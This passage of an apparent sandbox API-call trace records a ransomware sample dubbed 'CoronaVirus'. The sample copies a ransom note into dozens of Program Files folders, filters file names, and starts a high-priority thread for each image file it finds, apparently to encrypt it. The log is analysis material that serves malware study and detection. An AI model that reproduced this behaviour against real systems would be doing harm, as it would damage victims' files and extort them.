	[0084.207] _swprintf (in: param_1=0x2f8e878, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\CoronaVirus.txt") returned 72
	[0084.207] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.207] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.210] _alloca_probe () returned 0x4036d0
	[0084.211] malloc (_Size=0x1000) returned 0x2f8f880
	[0084.211] _swprintf (in: param_1=0x2f8f880, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\CoronaVirus.txt") returned 72
	[0084.211] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.211] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.213] _alloca_probe () returned 0x4036d0
	[0084.213] malloc (_Size=0x1000) returned 0x2f90888
	[0084.214] _swprintf (in: param_1=0x2f90888, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\CoronaVirus.txt") returned 69
	[0084.214] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.214] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.217] _alloca_probe () returned 0x4036d0
	[0084.217] malloc (_Size=0x1000) returned 0x2f91890
	[0084.217] _swprintf (in: param_1=0x2f91890, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\CoronaVirus.txt") returned 75
	[0084.217] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.217] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.221] _alloca_probe () returned 0x4036d0
	[0084.221] malloc (_Size=0x1000) returned 0x2f92898
	[0084.222] _swprintf (in: param_1=0x2f92898, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\CoronaVirus.txt") returned 71
	[0084.222] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.222] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.226] _alloca_probe () returned 0x4036d0
	[0084.226] malloc (_Size=0x1000) returned 0x2f938a0
	[0084.226] _swprintf (in: param_1=0x2f938a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\CoronaVirus.txt") returned 95
	[0084.226] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.226] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\OfficeSoftwareProtectionPlatform\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.233] _alloca_probe () returned 0x4036d0
	[0084.233] malloc (_Size=0x1000) returned 0x2f948a8
	[0084.234] _swprintf (in: param_1=0x2f948a8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\OfficeSoftwareProtectionPlatform\\CoronaVirus.txt") returned 95
	[0084.234] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\OfficeSoftwareProtectionPlatform\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.234] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.238] _alloca_probe () returned 0x4036d0
	[0084.238] malloc (_Size=0x1000) returned 0x2f958b0
	[0084.238] _swprintf (in: param_1=0x2f958b0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\CoronaVirus.txt") returned 76
	[0084.238] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.238] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.242] _alloca_probe () returned 0x4036d0
	[0084.242] malloc (_Size=0x1000) returned 0x2f968b8
	[0084.242] _swprintf (in: param_1=0x2f968b8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67
	[0084.242] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg", _SubStr="CoronaVirus") returned 0x0
	[0084.242] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg", _SubStr="wasse") returned 0x0
	[0084.242] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg", _SubStr="passw") returned 0x0
	[0084.242] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f968b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x640
	[0084.243] SetThreadPriority (hThread=0x640, nPriority=15) returned 1
	[0084.247] malloc (_Size=0x1000) returned 0x2f968b8
	[0084.247] _swprintf (in: param_1=0x2f968b8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\CoronaVirus.txt") returned 73
	[0084.247] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.247] malloc (_Size=0x1000) returned 0x2f978c0
	[0084.247] _swprintf (in: param_1=0x2f978c0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68
	[0084.247] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg", _SubStr="CoronaVirus") returned 0x0
	[0084.247] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg", _SubStr="wasse") returned 0x0
	[0084.247] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg", _SubStr="passw") returned 0x0
	[0084.247] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f978c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x644
	[0084.248] SetThreadPriority (hThread=0x644, nPriority=15) returned 1
	[0084.249] malloc (_Size=0x1000) returned 0x2f988c8
	[0084.251] _swprintf (in: param_1=0x2f988c8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74
	[0084.251] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg", _SubStr="CoronaVirus") returned 0x0
	[0084.251] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg", _SubStr="wasse") returned 0x0
	[0084.251] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg", _SubStr="passw") returned 0x0
	[0084.251] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f988c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x648
	[0084.252] SetThreadPriority (hThread=0x648, nPriority=15) returned 1
	[0084.254] malloc (_Size=0x1000) returned 0x2f978c0
	[0084.254] _swprintf (in: param_1=0x2f978c0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0084.254] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg", _SubStr="CoronaVirus") returned 0x0
	[0084.254] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg", _SubStr="wasse") returned 0x0
	[0084.255] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg", _SubStr="passw") returned 0x0
	[0084.255] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f978c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x64c
	[0084.256] SetThreadPriority (hThread=0x64c, nPriority=15) returned 1
	[0084.257] malloc (_Size=0x1000) returned 0x2f988c8
	[0084.257] _swprintf (in: param_1=0x2f988c8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75
	[0084.257] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg", _SubStr="CoronaVirus") returned 0x0
	[0084.257] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg", _SubStr="wasse") returned 0x0
	[0084.257] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg", _SubStr="passw") returned 0x0
	[0084.258] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f988c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x650
	[0084.259] SetThreadPriority (hThread=0x650, nPriority=15) returned 1
	[0084.260] malloc (_Size=0x1000) returned 0x2f978c0
	[0084.260] _swprintf (in: param_1=0x2f978c0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg") returned 69
	[0084.260] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg", _SubStr="CoronaVirus") returned 0x0
	[0084.260] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg", _SubStr="wasse") returned 0x0
	[0084.260] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg", _SubStr="passw") returned 0x0
	[0084.260] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f978c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x654
	[0084.261] SetThreadPriority (hThread=0x654, nPriority=15) returned 1
	[0084.262] malloc (_Size=0x1000) returned 0x2f998d0
	[0084.262] _swprintf (in: param_1=0x2f998d0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg") returned 67
	[0084.262] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg", _SubStr="CoronaVirus") returned 0x0
	[0084.262] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg", _SubStr="wasse") returned 0x0
	[0084.262] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg", _SubStr="passw") returned 0x0
	[0084.262] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f998d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x658
	[0084.263] SetThreadPriority (hThread=0x658, nPriority=15) returned 1
	[0084.264] malloc (_Size=0x1000) returned 0x2f9a8d8
	[0084.265] _swprintf (in: param_1=0x2f9a8d8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg") returned 74
	[0084.265] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg", _SubStr="CoronaVirus") returned 0x0
	[0084.265] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg", _SubStr="wasse") returned 0x0
	[0084.265] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg", _SubStr="passw") returned 0x0
	[0084.265] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f9a8d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x65c
	[0084.265] SetThreadPriority (hThread=0x65c, nPriority=15) returned 1
	[0084.267] malloc (_Size=0x1000) returned 0x2f9b8e0
	[0084.267] _swprintf (in: param_1=0x2f9b8e0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg") returned 70
	[0084.267] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg", _SubStr="CoronaVirus") returned 0x0
	[0084.267] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg", _SubStr="wasse") returned 0x0
	[0084.267] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg", _SubStr="passw") returned 0x0
	[0084.271] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f9b8e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x660
	[0084.271] SetThreadPriority (hThread=0x660, nPriority=15) returned 1
	[0084.273] malloc (_Size=0x1000) returned 0x2f978c0
	[0084.273] _swprintf (in: param_1=0x2f978c0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg") returned 67
	[0084.274] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg", _SubStr="CoronaVirus") returned 0x0
	[0084.274] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg", _SubStr="wasse") returned 0x0
	[0084.274] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg", _SubStr="passw") returned 0x0
	[0084.274] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f978c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x664
	[0084.274] SetThreadPriority (hThread=0x664, nPriority=15) returned 1
	[0084.277] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\TextConv\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.280] _alloca_probe () returned 0x4036d0
	[0084.280] malloc (_Size=0x1000) returned 0x2f978c0
	[0084.280] _swprintf (in: param_1=0x2f978c0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\TextConv\\CoronaVirus.txt") returned 71
	[0084.280] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\TextConv\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.280] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\TextConv\\en-US\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\en-us\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.298] _alloca_probe () returned 0x4036d0
	[0084.299] malloc (_Size=0x1000) returned 0x2f988c8
	[0084.299] _swprintf (in: param_1=0x2f988c8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\TextConv\\en-US\\CoronaVirus.txt") returned 77
	[0084.299] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\TextConv\\en-US\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.299] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\Triedit\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\triedit\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.301] _alloca_probe () returned 0x4036d0
	[0084.301] malloc (_Size=0x1000) returned 0x2f998d0
	[0084.302] _swprintf (in: param_1=0x2f998d0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\Triedit\\CoronaVirus.txt") returned 70
	[0084.302] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\Triedit\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.302] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\Triedit\\en-US\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\triedit\\en-us\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.304] _alloca_probe () returned 0x4036d0
	[0084.304] malloc (_Size=0x1000) returned 0x2f9a8d8
	[0084.304] _swprintf (in: param_1=0x2f9a8d8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\Triedit\\en-US\\CoronaVirus.txt") returned 76
	[0084.304] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\Triedit\\en-US\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.304] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.307] _alloca_probe () returned 0x4036d0
	[0084.307] malloc (_Size=0x1000) returned 0x2f9b8e0
	[0084.308] _swprintf (in: param_1=0x2f9b8e0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\VC\\CoronaVirus.txt") returned 65
	[0084.308] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\VC\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.308] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.310] _alloca_probe () returned 0x4036d0
	[0084.311] malloc (_Size=0x1000) returned 0x2f9c8e8
	[0084.311] _swprintf (in: param_1=0x2f9c8e8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\CoronaVirus.txt") returned 66
	[0084.311] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.311] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.316] _alloca_probe () returned 0x4036d0
	[0084.316] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.321] _alloca_probe () returned 0x4036d0
	[0084.321] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.326] _alloca_probe () returned 0x4036d0
	[0084.326] malloc (_Size=0x1000) returned 0x2f9d8f0
	[0084.326] _swprintf (in: param_1=0x2f9d8f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\CoronaVirus.txt") returned 77
	[0084.326] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.326] malloc (_Size=0x1000) returned 0x2f9e8f8
	[0084.327] _swprintf (in: param_1=0x2f9e8f8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\CoronaVirus.txt") returned 72
	[0084.327] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.327] malloc (_Size=0x1000) returned 0x2f9f900
	[0084.327] _swprintf (in: param_1=0x2f9f900, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\CoronaVirus.txt") returned 67
	[0084.327] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.327] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\Services\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\services\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.330] _alloca_probe () returned 0x4036d0
	[0084.330] malloc (_Size=0x1000) returned 0x2fa0908
	[0084.330] _swprintf (in: param_1=0x2fa0908, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Services\\CoronaVirus.txt") returned 54
	[0084.330] wcsstr (_Str="C:\\Program Files\\Common Files\\Services\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.330] malloc (_Size=0x1000) returned 0x2fa1910
	[0084.330] _swprintf (in: param_1=0x2fa1910, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51
	[0084.330] wcsstr (_Str="C:\\Program Files\\Common Files\\Services\\verisign.bmp", _SubStr="CoronaVirus") returned 0x0
	[0084.330] wcsstr (_Str="C:\\Program Files\\Common Files\\Services\\verisign.bmp", _SubStr="wasse") returned 0x0
	[0084.330] wcsstr (_Str="C:\\Program Files\\Common Files\\Services\\verisign.bmp", _SubStr="passw") returned 0x0
	[0084.331] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2fa1910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x514
	[0084.331] SetThreadPriority (hThread=0x514, nPriority=15) returned 1
	[0084.334] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\System\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\system\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.336] _alloca_probe () returned 0x4036d0
	[0084.336] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\System\\ado\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\system\\ado\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.340] _alloca_probe () returned 0x4036d0
	[0084.340] malloc (_Size=0x1000) returned 0x2fa1910
	[0084.340] _swprintf (in: param_1=0x2fa1910, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\ado\\CoronaVirus.txt") returned 56
	[0084.340] wcsstr (_Str="C:\\Program Files\\Common Files\\System\\ado\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.340] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0084.342] _alloca_probe () returned 0x4036d0
	[0084.343] malloc (_Size=0x1000) returned 0x2fa2918
	[0084.343] _swprintf (in: param_1=0x2fa2918, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\System\\ado\\en-US\\CoronaVirus.txt") returned 62
	[0084.343] wcsstr (_Str="C:\\Program Files\\Common Files\\System\\ado\\en-US\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0084.343] malloc (_Size=0x1000) returned 0x2fa3920
